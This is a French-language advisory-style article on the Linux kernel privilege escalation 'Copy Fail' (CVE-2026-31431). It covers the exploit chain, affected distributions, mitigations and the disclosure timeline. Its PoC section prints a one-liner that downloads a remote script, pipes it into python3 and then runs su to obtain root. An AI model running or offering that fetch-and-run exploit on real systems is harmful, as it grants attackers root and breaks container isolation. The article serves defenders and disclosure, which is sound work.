732 octets pour compromettre tout Linux : une faille épique restée latente près de dix ans

🚨 Faille épique : 732 octets pour compromettre tous les Linux, près de dix ans de latence
Une faille du noyau Linux baptisée« Copy Fail »(CVE-2026-31431) a été divulguée publiquement :
- 732 octets de script Python
- fiables à 100 %, sans fenêtre de course critique ni offsets noyau
- affecte toutes les distributions Linux(de 2017 à aujourd'hui)
- primitive d'évasion de conteneur, attaques inter-locataires
- près de dix ans de latence, révélée publiquement le 29 avril 2026
Le même script fonctionnesur Ubuntu, RHEL, Amazon Linux et SUSE — sans aucune modification.
🎯 Le cœur de la faille
un défaut logique unique
Copy Fail estun défaut de logique linéaire :
- aucune fenêtre de course requise : contrairement à la plupart des LPE Linux qui nécessitent une course critique
- aucun offset noyau requis : pas besoin d'offsets spécifiques au noyau
- fiable à 100 % : réussit à chaque tentative
- le même script : fonctionne sur toutes les distributions
Chaîne d'exploitation
La chaîne d'attaque de Copy Fail :
- erreur logique authencesn : un bug logique
- AF_ALG : via l'API crypto du noyau
- splice() : appels en chaîne
- écriture de 4 octets dans le page cache : la primitive d'attaque finale
- exploitable pendant près de dix ans : de 2017 jusqu'à la publication du correctif
📊 Périmètre touché
Distributions officiellement vérifiées
| Distribution | Version du noyau | Statut |
|---|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws | ✅ vérifié |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 | ✅ vérifié |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 | ✅ vérifié |
| SUSE 16 | 6.12.0-160000.9-default | ✅ vérifié |
Autres distributions touchées
Les distributions suivantessont également touchées :
- Debian
- Arch Linux
- Fedora
- Rocky Linux
- AlmaLinux
- Oracle Linux
- Linux embarqué
Conclusion : si votre noyau a été construit entre 2017 et la publication du correctif —vous êtes concerné.
💡 Scénarios à haut risque
| Scénario | Risque | Impact |
|---|---|---|
| Hôtes Linux multi-locataires | élevé | n'importe quel utilisateur devient root |
| Clusters Kubernetes / conteneurs | élevé | attaques inter-conteneurs et inter-locataires |
| Runners CI / fermes de build | élevé | une PR devient root sur le runner |
| SaaS cloud exécutant du code utilisateur | élevé | un locataire devient root de l'hôte |
| Serveurs Linux standards | moyen | LPE interne, chaînable avec d'autres attaques |
| Ordinateurs portables mono-utilisateur | faible | étape d'élévation de privilèges en post-exploitation |
🔧 Mesures d'atténuation
Option 1 : mettre à jour le noyau (recommandé)
Mettez à jour le noyau vers une version incluantmainline commit a664bf3d603d :
- Contenu du correctif : annulation de l'optimisation in-place d'algif_aead de 2017
- Effet : les pages du page cache n'apparaissent plus dans la scatterlist de destination inscriptible
- Statut : la plupart des distributions majeures ont déjà publié un correctif
Option 2 : désactiver le module algif_aead (temporaire)
# 禁用 algif_aead 模块 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
Impact de la désactivation d'algif_aead
| Composant | Impact |
|---|---|
| dm-crypt / LUKS | non affecté |
| kTLS / IPsec | non affecté |
| OpenSSL / SSH | non affecté |
| Espace utilisateur AF_ALG | peut être affecté |
Conclusion : pour la plupart des systèmes, désactiver algif_aeadn'a aucun impact notable.
Option 3 : bloquer AF_ALG via seccomp
Pour les charges de travail non fiables (conteneurs, sandboxes, CI), bloquez la création de sockets AF_ALG via seccomp :
# 检查 AF_ALG 使用 lsof | grep AF_ALG ss -xa
🚀 Démonstration PoC
Le PoC de la faille est public, afin que les défenseurs puissent vérifier leurs systèmes :
Exécution rapide
$ curl https://copy.fail/exp | python3 && su # id uid=0(root) gid=1002(user) groups=1002(user)
Détails du PoC
- Taille du fichier : 732 octets
- Langage : Python 3.10+, bibliothèque standard uniquement (os, socket, zlib)
- Cible par défaut : /usr/bin/su
- SHA256 : a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
Avertissement : le script modifie le page cache du binaire setuid ; les modifications ne persistent pas après redémarrage, mais le shell root est bien réel. Ne l'exécutez pas en production.
📅 Chronologie de la divulgation
| Date | Événement |
|---|---|
| 2026-03-23 | Signalement à l'équipe sécurité du noyau Linux |
| 2026-03-24 | Confirmation initiale |
| 2026-03-25 | Proposition et revue du correctif |
| 2026-04-01 | Soumission du correctif au mainline |
| 2026-04-22 | Attribution du CVE-2026-31431 |
| 2026-04-29 | Divulgation publique |
🔍 Découvreur : Xint Code
La faille a été découverte parXint Code :
- Temps de scan : environ 1 heure pour scanner le sous-système crypto/ de Linux
- Méthode de découverte : audit de code assisté par IA
- Analyse complète : cause racine, diagrammes, prompt de l'opérateur
- Autres découvertes : d'autres failles de gravité élevée découvertes simultanément, encore en divulgation coordonnée
Palmarès de Xint Code
- RCE 0-day : ZeroDay Cloud, rafle dans la catégorie bases de données (Redis, PostgreSQL, MariaDB)
- DARPA AIxCC Top 3 : finale du DARPA AI Cyber Challenge
- DEF CON CTF 9× : équipe la plus titrée de l'histoire du DEF CON CTF
📝 Conclusion
Copy Fail (CVE-2026-31431) estune faille épique du noyau Linux :
- 732 octets pour compromettre tous les Linux (de 2017 à aujourd'hui)
- fiable à 100 %, un unique défaut logique
- évasion de conteneur, attaques inter-locataires
- près de dix ans de latence, révélée publiquement le 29 avril 2026
- scénarios à haut risque : hôtes multi-locataires, clusters de conteneurs, runners CI, SaaS
- atténuation : mettre à jour le noyau ou désactiver algif_aead
- découvreur : Xint Code, audit de code assisté par IA
Une faille épique de près de dix ans, un seul script pour compromettre tous les Linux.
Site officiel de la faille :https://copy.fail
PoC sur GitHub :https://github.com/theori-io/copy-fail-CVE-2026-31431
Analyse technique :https://xint.io/blog/copy-fail-linux-distributions
Correctif noyau :https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5